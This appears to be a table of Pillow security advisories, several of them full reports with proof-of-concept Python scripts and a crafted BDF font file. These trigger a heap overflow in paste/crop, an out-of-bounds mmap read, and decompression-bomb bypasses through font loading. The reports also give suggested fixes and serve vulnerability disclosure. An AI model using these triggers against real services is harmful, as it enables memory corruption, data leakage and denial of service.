The following standalone script exercises all three public API paths. Save it
as `b021_poc.py` and run it with `paste`, `crop`, or `alpha`.
```python
#!/usr/bin/env python3
import argparse
import sys
from PIL import Image
INT_MIN = -(1 << 31)
def rgba_pattern(width):
out = bytearray()
for i in range(width):
out += bytes((0x41 + (i % 26), 0x42, 0x43, 0x44))
return bytes(out)
def main():
parser = argparse.ArgumentParser()
parser.add_argument(
"variant",
choices=("paste", "crop", "alpha"),
nargs="?",
default="paste",
)
parser.add_argument("-w", "--width", type=int, default=2)
args = parser.parse_args()
width = args.width
src = Image.frombytes("RGBA", (width, 1), rgba_pattern(width))
if args.variant == "paste":
box = ((1 << 31) - width, 0, INT_MIN, 1)
dst = Image.new("RGBA", (max(8, width), 1), (0, 0, 0, 0))
print(f"variant=paste box={box}")
print(f"expected C dst offset={-4 * width}, write_size={4 * width}")
sys.stdout.flush()
dst.paste(src, box)
print("paste returned; first row:", dst.tobytes().hex())
elif args.variant == "crop":
left = INT_MIN + width
box = (left, 0, left + width, 1)
print(f"variant=crop box={box}")
sys.stdout.flush()
out = src.crop(box)
print("crop returned; output:", out.tobytes().hex())
else:
dest = (INT_MIN + width, 0)
dst = Image.new("RGBA", (max(8, width), 1), (0, 0, 0, 0))
print(f"variant=alpha dest={dest}")
sys.stdout.flush()
dst.alpha_composite(src, dest=dest)
print("alpha_composite returned; first row:", dst.tobytes().hex())
sys.stdout.flush()
if __name__ == "__main__":
main()
```
Run against an ASAN build:
```bash
env ASAN_OPTIONS=detect_leaks=0 ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer \
python b021_poc.py paste
env ASAN_OPTIONS=detect_leaks=0 ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer \
python b021_poc.py crop
env ASAN_OPTIONS=detect_leaks=0 ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer \
python b021_poc.py alpha
```
Observed ASAN signature for the direct `Image.paste()` path:
```text
ERROR: AddressSanitizer: heap-buffer-overflow
WRITE of size 8
paste /out/src/src/libImaging/Paste.c:59
ImagingPaste /out/src/src/libImaging/Paste.c:323
_paste /out/src/src/_imaging.c:1461
0x... is located 8 bytes before 32-byte region
```
On non-ASAN Pillow `12.2.0` and local `12.3.0.dev0`, the direct minimal
`Image.paste()` trigger returns from `paste()` and then the process aborts
during cleanup with:
```text
double free or corruption (out)
Aborted (core dumped)
```
Observed ASAN signature for the `Image.crop()` and `Image.alpha_composite()`
paths:
```text
ERROR: AddressSanitizer: heap-buffer-overflow
WRITE of size 8
paste /out/src/src/libImaging/Paste.c:59
ImagingPaste /out/src/src/libImaging/Paste.c:323
ImagingCrop /out/src/src/libImaging/Crop.c:57
_crop /out/src/src/_imaging.c:1090
```
## Suggested fix
Avoid signed overflow in paste/crop coordinate arithmetic. Use checked
arithmetic or a wider type before calculating widths and clipped endpoints.
For example, reject boxes whose endpoint subtraction cannot be represented
cleanly, and clip using non-overflowing comparisons:
```c
int64_t xsize64 = (int64_t)dx1 - dx0;
int64_t ysize64 = (int64_t)dy1 - dy0;
if (xsize64 < 0 || ysize64 < 0 || xsize64 > INT_MAX || ysize64 > INT_MAX) {
return ImagingError_ValueError("bad box");
}
```
`ImagingCrop()` should receive the same treatment for `sx1 - sx0`,
`dx0 = -sx0`, and `dx1 = imIn->xsize - sx0`.
### Impact
This is a heap out-of-bounds write in Pillow's native C extension, reachable
through documented public image APIs.
Applications are impacted if an untrusted user can control image operation
coordinates passed to Pillow, for example crop boxes, paste boxes, or overlay
positions. The bytes written in the direct `Image.paste()` variant are copied
from the source image, so attacker-controlled source pixels can influence the
out-of-bounds write. For `RGBA`, the write is a backward heap underwrite whose
offset and length are both `4 * source_width`, bounded in practice by successful
image allocation and heap layout. | ||
| high | any | 12.3.0 | Pillow: Out-of-bounds read via attacker-controlled row stride on Pillow's mmap path (McIdas AREA files) ## Summary
When Pillow loads an uncompressed image whose tile uses the `raw` codec and a mode in `Image._MAPMODES`, and the image was opened **from a filename**, it memory-maps the file and builds the image's row pointers directly into the mapping via `PyImaging_MapBuffer` (`src/map.c`). The per-row spacing (`stride`) is taken from the tile arguments. `map.c` validates `offset + ysize*stride <= buffer_len` but **never checks that `stride` is at least the natural row width `xsize * pixelsize`**.
The **McIdas** AREA plugin (`McIdasImagePlugin.py`) derives `stride`, `offset`, `xsize`, and `ysize` directly from attacker-controlled 32-bit header words with no validation. By supplying a `stride` far smaller than the row width, an attacker makes each row pointer read `xsize*pixelsize` bytes that run past the mapped region. Accessing the pixels (e.g. `Image.tobytes()`,
`getpixel`, `convert`, `save`) then reads adjacent process memory (information disclosure) or faults (SIGBUS, denial of service).
## Complete Code Trace
**Step 1: `McIdasImageFile._open`** - turns attacker header words into image size, file offset, and row stride with no validation.
```python
# src/PIL/McIdasImagePlugin.py:41-70
s = self.fp.read(256)
if not _accept(s) or len(s) != 256: # _accept: prefix == b"\x00\x00\x00\x00\x00\x00\x00\x04"
raise SyntaxError(...)
self.area_descriptor = w = [0, *struct.unpack("!64i", s)] # w[1..64] = signed BE int32, ALL attacker-controlled
if w[11] == 1:
mode = rawmode = "L" # pixelsize 1, in _MAPMODES
elif w[11] == 2:
mode = rawmode = "I;16B" # pixelsize 2, in _MAPMODES
...
self._mode = mode
self._size = w[10], w[9] # (xsize, ysize) <-- attacker
offset = w[34] + w[15] # <-- attacker
stride = w[15] + w[10] * w[11] * w[14] # <-- attacker (set w[14]=0, w[15]=1 => stride=1)
self.tile = [
ImageFile._Tile("raw", (0, 0) + self.size, offset, (rawmode, stride, 1))
]
```
**Step 2: `ImageFile.load` (mmap branch)** - selects mmap and delegates to `map_buffer`.
```python
# src/PIL/ImageFile.py:322-348
if use_mmap: # use_mmap = self.filename and len(self.tile) == 1
decoder_name, extents, offset, args = self.tile[0]
if (decoder_name == "raw" and isinstance(args, tuple) and len(args) >= 3
and args[0] == self.mode and args[0] in Image._MAPMODES):
if offset < 0: # only lower-bound guard on offset
raise ValueError("Tile offset cannot be negative")
with open(self.filename) as fp:
self.map = mmap.mmap(fp.fileno(), 0, access=mmap.ACCESS_READ)
if offset + self.size[1] * args[1] > self.map.size(): # == offset + ysize*stride; NO stride>=linesize check
raise OSError("buffer is not large enough")
self.im = Image.core.map_buffer(
self.map, self.size, decoder_name, offset, args # args = ("L", stride, 1)
)
```
**Step 3: `PyImaging_MapBuffer`** - builds row pointers at `stride` spacing into the mmap; validates everything except `stride >= row width`.
```c
/* src/map.c:65-140 */
if (!PyArg_ParseTuple(args, "O(ii)sn(sii)",
&target, &xsize, &ysize, &codec, &offset, &mode_name, &stride, &ystep))
return NULL;
...
const ModeID mode = findModeID(mode_name); /* "L" */
if (stride <= 0) { /* attacker sets stride=1 (>0) -> NOT recomputed */
if (mode == IMAGING_MODE_L || mode == IMAGING_MODE_P) stride = xsize;
else if (isModeI16(mode)) stride = xsize * 2;
else stride = xsize * 4;
}
if (stride > 0 && ysize > PY_SSIZE_T_MAX / stride) {/* overflow guard only */
PyErr_SetString(PyExc_MemoryError, "Integer overflow in ysize"); return NULL;
}
size = (Py_ssize_t)ysize * stride; /* = 1*1 = 1 */
if (offset > PY_SSIZE_T_MAX - size) { ... }
...
if (offset + size > view.len) { /* 1 + 1 = 2 <= 256 -> PASSES */
PyErr_SetString(PyExc_ValueError, "buffer is not large enough");
PyBuffer_Release(&view); return NULL;
}
im = ImagingNewPrologueSubtype(mode, xsize, ysize, sizeof(ImagingBufferInstance));
/* im->linesize = xsize * pixelsize = 200000 (the REAL per-row read width) */
/* setup file pointers -- NO check that stride >= im->linesize */
if (ystep > 0) {
for (y = 0; y < ysize; y++) {
im->image[y] = (char *)view.buf + offset + y * stride; /* row points into mmap, spacing=1 */
}
} else { ... }
```
`im->linesize` (the number of bytes any consumer reads per row) is `xsize * pixelsize = 200000`, but the row pointers are only `stride = 1` byte apart and the buffer is only `offset + ysize*stride = 2` bytes "claimed". Nothing reconciles the two.
**Step 4: pixel access (`Image.tobytes()` → raw encoder `copy1`)** - reads `linesize` bytes from `im->image[0]`, i.e. `xsize` bytes starting at `view.buf + offset`, running far past the mmap.
```c
/* the raw "L" packer copies linesize (=xsize) bytes per row from im->image[y];
for row 0 that is view.buf+1 .. view.buf+1+200000, vs a 256-byte file. */
```
## Chain Summary
```
SOURCE: McIdas AREA header words w[9],w[10],w[11],w[14],w[15],w[34] (Image.open on a path)
↓ McIdasImagePlugin._open: stride = w[15]+w[10]*w[11]*w[14] -> attacker sets stride=1 [McIdasImagePlugin.py:66]
↓ tile = ("raw", (0,0,xsize,1), offset, ("L", 1, 1)) [McIdasImagePlugin.py:68]
GADGET: ImageFile.load mmap branch -- only checks offset+ysize*stride<=len <- BUG: no stride>=linesize check [ImageFile.py:343]
↓ core.map_buffer(map, (xsize,1), "raw", offset, ("L",1,1)) [ImageFile.py:346]
SINK: PyImaging_MapBuffer: im->image[0] = view.buf + offset + 0*stride; linesize=xsize [map.c:134]
↓ Image.tobytes() raw "L" encoder reads linesize (=xsize) bytes from im->image[0]
IMPACT: reads xsize bytes from a tiny mmap -> OOB read of adjacent process memory (leak) or SIGBUS (DoS)
```
## Proof of Concept
See attached [poc.zip](https://github.com/user-attachments/files/28460498/poc.zip)
## Impact on a Parent Application
Any application that opens image files supplied by users **from a path on disk** (the common pattern: save upload to a temp file, then `Image.open(path)`), has the default plugin set (McIdas is registered by default), and subsequently reads/returns/re-encodes the decoded pixels (thumbnailing, format conversion, serving a preview), is exposed:
- **Information disclosure (High):** the decoded "image" contains bytes of the worker process's adjacent heap/mapped memory, which the app then serves or stores - potentially leaking secrets, credentials, or other users' data.
- **Denial of service (High):** a larger `xsize` reliably crashes the worker with SIGBUS.
## Suggested fix
Core fix in `src/map.c` (`PyImaging_MapBuffer`): reject `offset < 0` and `stride < im->linesize`. Defense-in-depth in `McIdasImagePlugin._open`: reject `offset < 0` or `stride < xsize*pixelsize` . | ||
| high | any | 12.3.0 | Pillow: `FontFile.compile()`: `Image.new()` called without `_decompression_bomb_check()` ## Description
`PIL/FontFile.py` `FontFile.compile()` assembles per-glyph images into a single combined bitmap using `Image.new("1", (xsize, ysize))` without calling `Image._decompression_bomb_check()`. This is the base-class method shared by both `BdfFontFile` and `PcfFontFile`, and it is triggered whenever a loaded font is converted to an `ImageFont` or saved.
Neither `BdfFontFile.BdfFontFile(fp)` nor `PcfFontFile.PcfFontFile(fp)` is registered with `Image.register_open()`, so Pillow's standard decompression bomb guard never fires for font objects. The compile step is the final opportunity to check the combined allocation — and it has no check.
**Vulnerable code (`PIL/FontFile.py` lines ~64–92):**
```python
def compile(self) -> None:
if self.bitmap:
return
h = w = maxwidth = 0
lines = 1
for glyph in self.glyph: # up to 256 glyph slots
if glyph:
d, dst, src, im = glyph
h = max(h, src[3] - src[1]) # max glyph height — attacker-controlled
w = w + (src[2] - src[0])
if w > WIDTH: # WIDTH = 800
lines += 1
w = src[2] - src[0]
maxwidth = max(maxwidth, w)
xsize = maxwidth # ≤ 800 (capped by WIDTH constant)
ysize = lines * h # ← lines(256) × h(65535) = 16,776,960
if xsize == 0 and ysize == 0:
return
self.ysize = h
# NO _decompression_bomb_check() here ←
self.bitmap = Image.new("1", (xsize, ysize)) # ← unchecked allocation
```
**"Slow accumulation" attack — per-glyph dimensions stay BELOW warning threshold:**
| Metric | Per-glyph (800 × 875) | Combined bitmap (256 glyphs) |
|---|---|---|
| Pixel count | 700,000 | **179,200,000** |
| DecompressionBombWarning threshold (89.4M) | 0.008× — **no warning** | 2.0× — above warning |
| DecompressionBombError threshold (178.9M) | 0.004× — **no error** | **1.001× — above error** |
With PCF-maximum glyph height (65,535):
| Metric | Value |
|---|---|
| lines | 256 (one per glyph slot, width=800 forces a wrap every glyph) |
| h (max glyph height) | 65,535 |
| xsize | 800 |
| ysize = lines × h | 256 × 65,535 = **16,776,960** |
| **Total pixels** | 800 × 16,776,960 = **13,421,568,000** |
| **Ratio vs. DecompressionBombError threshold** | **75×** |
| Memory (mode "1", 1 bit/pixel) | **~1.6 GB** |
## Steps to reproduce
**Proof of Concept script:**
```python
#!/usr/bin/env python3
"""
PoC: FontFile.compile() bomb bypass
256 glyphs at 800x875 each (individually below warning threshold)
→ compile() creates 800x224000 = 179.2M px bitmap with NO bomb check
"""
from PIL import FontFile, Image
MAX_GLYPHS = 256
GLYPH_W = 800
GLYPH_H = 875 # individual: 700K px — below 89.4M warning threshold
class MockFont(FontFile.FontFile):
def __init__(self):
super().__init__()
# Each glyph is individually safe (700K px < 89.4M warning)
im = Image.new("1", (GLYPH_W, GLYPH_H))
for i in range(MAX_GLYPHS):
self.glyph[i] = (
(GLYPH_W, GLYPH_H),
(0, -GLYPH_H, GLYPH_W, 0),
(0, 0, GLYPH_W, GLYPH_H),
im,
)
# Confirm bomb check WOULD catch the combined size
combined_size = (GLYPH_W, MAX_GLYPHS * GLYPH_H)
try:
Image._decompression_bomb_check(combined_size)
print("[FAIL] bomb check did not raise — unexpected")
except Image.DecompressionBombError as e:
print(f"[OK] bomb check WOULD block {combined_size}: {e}")
# Vulnerable path: compile() has NO bomb check
font = MockFont()
font.compile() # → Image.new("1", (800, 224000)) — no error raised
px = font.bitmap.size[0] * font.bitmap.size[1]
threshold = Image.MAX_IMAGE_PIXELS * 2
print(f"[BYPASS] compile() succeeded: bitmap={font.bitmap.size}")
print(f" pixels={px:,} ({px/threshold:.3f}× DecompressionBombError threshold)")
print(f" No DecompressionBombError raised at any point.")
```
**Expected output:**
```
[OK] bomb check WOULD block (800, 224000): Image size (179200000 pixels) exceeds limit
of 178956970 pixels, could be decompression bomb DOS attack.
[BYPASS] compile() succeeded: bitmap=(800, 224000)
pixels=179,200,000 (1.001× DecompressionBombError threshold)
No DecompressionBombError raised at any point.
```
**Verified live on Pillow 12.2.0 — compile() succeeds with no exception.**
**Real-world trigger using BDF font file:**
```python
from PIL import BdfFontFile
import io
# Load a crafted BDF font with 256 glyphs each claiming height=65535
# (each glyph individually: 800 × 65535 = 52.4M px — below 89.4M warning)
# compile() combined: 800 × 16,776,960 = 13.4B px — 75× error threshold
font = BdfFontFile.BdfFontFile(open("crafted_256glyph.bdf", "rb"))
font.to_imagefont() # → compile() → ~1.6 GB allocation, NO bomb check
```
**Attack scenarios:**
| Scenario | Effect |
|---|---|
| Web font preview (`BdfFontFile(upload).to_imagefont()`) | DoS with crafted .bdf upload |
| Server-side font renderer that loads PCF → `to_imagefont()` | OOM crash |
| Font pipeline: load → render text | One malicious font file kills the process |
## Impact
- **Availability:** HIGH — `compile()` creates a combined bitmap whose pixel count scales as `WIDTH × lines × max_glyph_height` with no upper bound check. With max PCF glyph height (65,535) and 256 glyphs, the combined allocation is ~1.6 GB. With BDF (text-format, unbounded height), the allocation is limited only by system memory.
- **Confidentiality:** None
- **Integrity:** None
**Affected call paths:**
- `BdfFontFile.BdfFontFile(fp).to_imagefont()` → `FontFile.compile()`
- `BdfFontFile.BdfFontFile(fp).save(filename)` → `FontFile.compile()`
- `PcfFontFile.PcfFontFile(fp).to_imagefont()` → `FontFile.compile()`
- `PcfFontFile.PcfFontFile(fp).save(filename)` → `FontFile.compile()`
Neither `BdfFontFile` nor `PcfFontFile` is loaded via `Image.open()`, so the standard decompression bomb guard is **entirely absent** from the font loading code path. `compile()` is the only point where the combined allocation size is known, and it has no check.
Confirmed unpatched on `python-pillow/Pillow` `main` branch as of 2026-06-08. | ||
| high | any | 12.3.0 | Pillow `BdfFontFile`: `Image.new()` called without `_decompression_bomb_check()` — bomb protection bypass via font loading ### Summary
`PIL/BdfFontFile.py` `bdf_char()` (lines 84–88) reads the `BBX width height` field from a BDF font file and passes the dimensions directly to `Image.new()` without calling `Image._decompression_bomb_check()`. This completely bypasses Pillow's documented decompression bomb protection.
`Image.open()` enforces `MAX_IMAGE_PIXELS = 89,478,485` and raises `DecompressionBombError` for images exceeding `2 × MAX = 178,956,970` pixels. The BDF font loading path calls `Image.new()` directly, which only calls `_check_size()` (validates `>= 0`) — no pixel count limit.
**Vulnerable code (`PIL/BdfFontFile.py` lines 84–88):**
```python
# width, height from attacker-controlled "BBX width height x y" line
try:
im = Image.frombytes("1", (width, height), bitmap, "hex", "1")
except ValueError:
# TRIGGERED when BITMAP section is empty (zero hex lines)
im = Image.new("1", (width, height)) # ← NO _decompression_bomb_check()!
# ^ This image is stored in self.glyph[ch] — persists in memory
```
**Attack trigger:** A BDF glyph with `BBX 20000 20000` and an empty `BITMAP` section causes `Image.frombytes()` to raise `ValueError`, then `Image.new("1", (20000, 20000))` allocates **50 MB** of C-heap silently. Image.open() would raise `DecompressionBombError` for the same dimensions.
## Steps to reproduce
**Minimal malicious BDF file (270 bytes):**
```
STARTFONT 2.1
SIZE 16 75 75
FONTBOUNDINGBOX 16 16 0 -4
STARTPROPERTIES 1
COMMENT placeholder
ENDPROPERTIES
CHARS 1
STARTCHAR A
ENCODING 65
SWIDTH 500 0
DWIDTH 8 0
BBX 20000 20000 0 0
BITMAP
ENDCHAR
ENDFONT
```
**Proof of Concept script:**
```python
#!/usr/bin/env python3
"""PoC: BdfFontFile bomb bypass — 270-byte BDF → 50 MB allocation"""
import io, warnings
warnings.filterwarnings("ignore")
from PIL.BdfFontFile import BdfFontFile
from PIL.Image import _decompression_bomb_check, DecompressionBombWarning, DecompressionBombError
W, H = 20000, 20000 # 400M pixels → above DecompressionBombError threshold
# Show what Image.open() would do
warnings.filterwarnings("error", category=DecompressionBombWarning)
try:
_decompression_bomb_check((W, H))
except (DecompressionBombWarning, DecompressionBombError) as e:
print(f"[Image.open() path] BLOCKED by {type(e).__name__}")
warnings.filterwarnings("ignore")
# Malicious BDF: large BBX + empty BITMAP → ValueError → Image.new() without bomb check
bdf = f"""STARTFONT 2.1
SIZE 16 75 75
FONTBOUNDINGBOX 16 16 0 -4
STARTPROPERTIES 1
COMMENT x
ENDPROPERTIES
CHARS 1
STARTCHAR A
ENCODING 65
SWIDTH 500 0
DWIDTH 8 0
BBX {W} {H} 0 0
BITMAP
ENDCHAR
ENDFONT
""".encode()
print(f"[*] BDF file size : {len(bdf)} bytes")
print(f"[*] Glyph size : {W} x {H} = {W*H:,} pixels")
print(f"[*] C-heap target : {W*H//8//1024**2} MB (mode '1' = 1 bit/pixel)")
BdfFontFile(io.BytesIO(bdf)) # No exception — bomb check bypassed!
print(f"[!] CONFIRMED: BdfFontFile loaded silently — {W*H//8//1024**2} MB allocated")
print(f" Image.open() path would have raised DecompressionBombError")
```
**Expected output:**
```
[Image.open() path] BLOCKED by DecompressionBombError
[*] BDF file size : 270 bytes
[*] Glyph size : 20000 x 20000 = 400,000,000 pixels
[*] C-heap target : 47 MB (mode '1' = 1 bit/pixel)
[!] CONFIRMED: BdfFontFile loaded silently — 47 MB allocated
Image.open() path would have raised DecompressionBombError
```
**Amplified attack (multiple glyphs):**
A BDF file defining 256 glyphs each at `BBX 8000 8000` causes `256 × 7.6 MB = ~1.95 GB` total C-heap allocation — all silently, bypassing documented bomb protection.
### Impact
- **Availability**: HIGH — attacker-controlled memory allocation per glyph × up to 65,536 glyphs
- **Confidentiality**: None
- **Integrity**: None
- Any service loading BDF fonts from untrusted sources (e.g., `ImageFont.load("user.bdf")`, `BdfFontFile(fp)`) is affected
- Loaded glyph images persist in `self.glyph[ch]` for the lifetime of the font object — memory is NOT freed until the font is garbage collected | ||
| high | 11.2.0 | 11.3.0 | Pillow vulnerability can cause write buffer overflow on BCn encoding There is a heap buffer overflow when writing a sufficiently large (>64k encoded with default settings) image in the DDS format due to writing into a buffer without checking for available space.
This only affects users who save untrusted data as a compressed DDS image.
* Unclear how large the potential write could be. It is likely limited by process segfault, so it's not necessarily deterministic. It may be practically unbounded.
* Unclear if there's a restriction on the bytes that could be emitted. It's likely that the only restriction is that the bytes would be emitted in chunks of 8 or 16.
This was introduced in Pillow 11.2.0 when the feature was added. | fixed | osv:GHSA-xg8h-j46f-w952 |
| high | any | 2.3.1 | PIL and Pillow Vulnerable to Symlink Attack on Tmpfiles The (1) `load_djpeg` function in `JpegImagePlugin.py`, (2) `Ghostscript` function in `EpsImagePlugin.py`, (3) `load` function in `IptcImagePlugin.py`, and (4) `_copy` function in `Image.py` in Python Image Library (PIL) 1.1.7 and earlier and Pillow before 2.3.1 do not properly create temporary files, which allow local users to overwrite arbitrary files and obtain sensitive information via a symlink attack on the temporary file. | fixed | osv:GHSA-x895-2wrm-hvp7 |
| high | 10.3.0 | 12.2.0 | FITS GZIP decompression bomb in Pillow ### Impact
Pillow did not limit the amount of GZIP-compressed data read when decoding a FITS image, making it vulnerable to decompression bomb attacks. A specially crafted FITS file could cause unbounded memory consumption, leading to denial of service (OOM crash or severe performance degradation).
### Patches
The amount of data read is now limited to the necessary amount.
Fixed in Pillow 12.2.0 (PR #9521).
### Workarounds
Avoid Pillow >= 10.3.0, < 12.2.0
Only open [specific image formats](https://pillow.readthedocs.io/en/stable/releasenotes/8.0.0.html#image-open-add-formats-parameter), excluding FITS. | fixed | osv:GHSA-whj4-6x5x-4v2j |
| high | any | 3.3.2 | Arbitrary code using "crafted image file" approach affecting Pillow Pillow before 3.3.2 allows context-dependent attackers to execute arbitrary code by using the "crafted image file" approach, related to an "Insecure Sign Extension" issue affecting the ImagingNew in Storage.c component. | fixed | osv:GHSA-w4vg-rf63-f3j3 |
| high | any | 8.1.0 | Pillow Out-of-bounds Write In Pillow before 8.1.0, TiffDecode has a heap-based buffer overflow when decoding crafted YCbCr files because of certain interpretation conflicts with LibTIFF in RGBA mode. | fixed | osv:GHSA-vqcj-wrf2-7v73 |
| high | any | 7.1.0 | Out-of-bounds reads in Pillow In `libImaging/Jpeg2KDecode.c` in Pillow before 7.1.0, there are multiple out-of-bounds reads via a crafted JP2 file. | fixed | osv:GHSA-vj42-xq3r-hr3r |
| high | 2.5.0 | 3.1.2 | Pillow Buffer overflow in Jpeg2KEncode.c Heap-based buffer overflow in the j2k_encode_entry function in Pillow 2.5.0 through 3.1.1 allows remote attackers to cause a denial of service (memory corruption) via a crafted Jpeg2000 file. | fixed | osv:GHSA-v9pc-9mvp-x87g |
| high | 2.4.0 | 8.2.0 | Pillow Out-of-bounds Read vulnerability An issue was discovered in Pillow before 8.2.0. There is an out-of-bounds read in J2kDecode, in j2ku_gray_i. This dates to Pillow 2.4.0. | fixed | osv:GHSA-rwv7-3v45-hg29 |
| high | any | 8.2.0 | Uncontrolled Resource Consumption in Pillow An issue was discovered in Pillow before 8.2.0. For EPS data, the readline implementation used in EPSImageFile has to deal with any combination of \r and \n as line endings. It used an accidentally quadratic method of accumulating lines while looking for a line ending. A malicious EPS file could use this to perform a DoS of Pillow in the open phase, before an image was accepted for opening. | fixed | osv:GHSA-q5hq-fp76-qmrc |
| high | 9.2.0 | 9.3.0 | Pillow subject to DoS via SAMPLESPERPIXEL tag Pillow starting with 9.2.0 and prior to 9.3.0 allows denial of service via SAMPLESPERPIXEL. A large value in the SAMPLESPERPIXEL tag could lead to a memory and runtime DOS in TiffImagePlugin.py when setting up the context for image decoding. This issue has been patched in version 9.3.0. | fixed | osv:GHSA-q4mp-jvh2-76fj |
| high | 4.3.0 | 8.1.1 | Out of bounds read in Pillow An issue was discovered in Pillow before 8.1.1. There is an out-of-bounds read in SGIRleDecode.c. | fixed | osv:GHSA-p43w-g3c5-g5mq |
| high | any | 8.2.0 | Out of bounds read in Pillow An issue was discovered in Pillow before 8.2.0. In `TiffDecode.c`, there is an out-of-bounds read in `TiffreadRGBATile` via invalid tile boundaries. | fixed | osv:GHSA-mvg9-xffr-p774 |
| high | any | 9.2.0 | Pillow vulnerable to Data Amplification attack. Pillow before 9.2.0 performs Improper Handling of Highly Compressed GIF Data (Data Amplification). | fixed | osv:GHSA-m2vv-5vj5-2hm7 |
| high | any | 6.2.0 | DOS attack in Pillow when processing specially crafted image files An issue was discovered in Pillow before 6.2.0. When reading specially crafted invalid image files, the library can either allocate very large amounts of memory or take an extremely long period of time to process the image. | fixed | osv:GHSA-j7mj-748x-7p78 |
| high | any | 0.1.8 | libwebp: OOB write in BuildHuffmanTable Heap buffer overflow in libwebp allow a remote attacker to perform an out of bounds memory write via a crafted HTML page. | fixed | osv:GHSA-j7hp-h8jx-5ppr |
| high | any | 2.5.3 | Pillow is vulnerable to Denial of Service (DOS) in the Jpeg2KImagePlugin The Jpeg2KImagePlugin plugin in Pillow before 2.5.3 allows remote attackers to cause a denial of service via a crafted image. | fixed | osv:GHSA-j6f7-g425-4gmx |
| high | 9.1.0 | 9.1.1 | Buffer over-flow in Pillow When reading a TGA file with RLE packets that cross scan lines, Pillow reads the information past the end of the first line without deducting that from the length of the remaining file data. This vulnerability was introduced in Pillow 9.1.0, and can cause a heap buffer overflow.
Opening an image with a zero or negative height has been found to bypass a decompression bomb check. This will now raise a SyntaxError instead, in turn raising a PIL.UnidentifiedImageError. | fixed | osv:GHSA-hr8g-f6r6-mr22 |
| high | any | 6.2.2 | Out-of-bounds Read in Pillow `libImaging/FliDecode.c` in Pillow before 6.2.2 has an FLI buffer overflow. | fixed | osv:GHSA-hj69-c76v-86wr |
| high | any | 2.7.0 | Pillow denial of service via PNG bomb Pillow before 2.7.0 allows remote attackers to cause a denial of service via a compressed text chunk in a PNG image that has a large size when it is decompressed. | fixed | osv:GHSA-h5rf-vgqx-wjv2 |
| high | any | 8.2.0 | Pillow denial of service An issue was discovered in Pillow before 8.2.0. `PSDImagePlugin.PsdImageFile` lacked a sanity check on the number of input layers relative to the size of the data block. This could lead to a DoS on `Image.open` prior to `Image.load`. | fixed | osv:GHSA-g6rj-rv7j-xwp4 |
| high | any | 8.1.0 | Pillow Out-of-bounds Read In Pillow before 8.1.0, PcxDecode has a buffer over-read when decoding a crafted PCX file because the user-supplied stride value is trusted for buffer calculations. | fixed | osv:GHSA-f5g8-5qq7-938w |
| high | any | 8.1.2 | Pillow Denial of Service by Uncontrolled Resource Consumption Pillow before 8.1.2 allows attackers to cause a denial of service (memory consumption) because the reported size of a contained image is not properly checked for a BLP container, and thus an attempted memory allocation can be very large. | fixed | osv:GHSA-f4w8-cv6p-x6r5 |
| high | any | 7.1.0 | Out-of-bounds reads in Pillow Pillow before 7.1.0 has multiple out-of-bounds reads in `libImaging/FliDecode.c`. | fixed | osv:GHSA-cqhg-xjhh-p8hf |
| high | any | 2.3.2 | Pillow denial of service via Crafted Block Size `PIL/IcnsImagePlugin.py` in Python Imaging Library (PIL) and Pillow before 2.3.2 and 2.5.x before 2.5.2 allows remote attackers to cause a denial of service via a crafted block size. | fixed | osv:GHSA-cfmr-38g9-f2h7 |
| high | 10.3.0 | 12.1.1 | Pillow affected by out-of-bounds write when loading PSD images ### Impact
An out-of-bounds write may be triggered when loading a specially crafted PSD image. Pillow >= 10.3.0 users are affected.
### Patches
Pillow 12.1.1 will be released shortly with a fix for this.
### Workarounds
`Image.open()` has a `formats` parameter that can be used to prevent PSD images from being opened.
### References
Pillow 12.1.1 will add release notes at https://pillow.readthedocs.io/en/stable/releasenotes/index.html | fixed | osv:GHSA-cfh3-3jmp-rvhc |
| high | any | 9.0.1 | Path traversal in Pillow Pillow before 9.0.1 allows attackers to delete files because spaces in temporary pathnames are mishandled. | fixed | osv:GHSA-9j59-75qj-795w |
| high | 5.2.0 | 8.3.2 | Uncontrolled Resource Consumption in pillow The package pillow 5.2.0 and before 8.3.2 are vulnerable to Regular Expression Denial of Service (ReDoS) via the getrgb function. | fixed | osv:GHSA-98vv-pw6r-q6q4 |
| high | any | 8.1.2 | Pillow Denial of Service by Uncontrolled Resource Consumption Pillow before 8.1.2 allows attackers to cause a denial of service (memory consumption) because the reported size of a contained image is not properly checked for an ICO container, and thus an attempted memory allocation can be very large. | fixed | osv:GHSA-95q3-8gr9-gm8w |
| high | any | 3.1.1 | Pillow Buffer overflow in ImagingFliDecode Buffer overflow in the `ImagingFliDecode` function in `libImaging/FliDecode.c` in Pillow before 3.1.1 allows remote attackers to cause a denial of service (crash) via a crafted FLI file. | fixed | osv:GHSA-8xjv-v9xq-m5h9 |
| high | any | 8.1.1 | Out-of-bounds Write in Pillow An issue was discovered in Pillow before 8.1.1. In TiffDecode.c, there is a negative-offset memcpy with an invalid size. | fixed | osv:GHSA-8xjq-8fcg-g5hw |
| high | any | 10.0.0 | Pillow Denial of Service vulnerability An issue was discovered in Pillow before 10.0.0. It is a Denial of Service that uncontrollably allocates memory to process a given task, potentially causing a service to crash by having it run out of memory. This occurs for truetype in ImageFont when textlength in an ImageDraw instance operates on a long text argument. | fixed | osv:GHSA-8ghj-p4vj-mr35 |
| high | any | 7.1.0 | Buffer overflow in Pillow In Pillow before 7.1.0, there are two Buffer Overflows in `libImaging/TiffDecode.c`. | fixed | osv:GHSA-8843-m7mw-mxqm |
| high | any | 8.2.0 | Potential infinite loop in Pillow An issue was discovered in Pillow before 8.2.0. For FLI data, FliDecode did not properly check that the block advance was non-zero, potentially leading to an infinite loop on load. | fixed | osv:GHSA-7r7m-5h27-29hp |
| high | 2.4.0 | 8.2.0 | Out-of-bounds Read in Pillow An issue was discovered in Pillow before 8.2.0. There is an out-of-bounds read in J2kDecode, in j2ku_graya_la. | fixed | osv:GHSA-77gc-v2xv-rvvh |
| high | any | 6.2.2 | Uncontrolled Resource Consumption in Pillow There is a DoS vulnerability in Pillow before 6.2.2 caused by FpxImagePlugin.py calling the range function on an unvalidated 32-bit integer if the number of bands is large. On Windows running 32-bit Python, this results in an OverflowError or MemoryError due to the 2 GB limit. However, on Linux running 64-bit Python this results in the process being terminated by the OOM killer. | fixed | osv:GHSA-5gm3-px64-rw72 |
| high | any | 10.3.0 | Pillow buffer overflow vulnerability In _imagingcms.c in Pillow before 10.3.0, a buffer overflow exists because strcpy is used instead of strncpy. | fixed | osv:GHSA-44wm-f244-xhp3 |
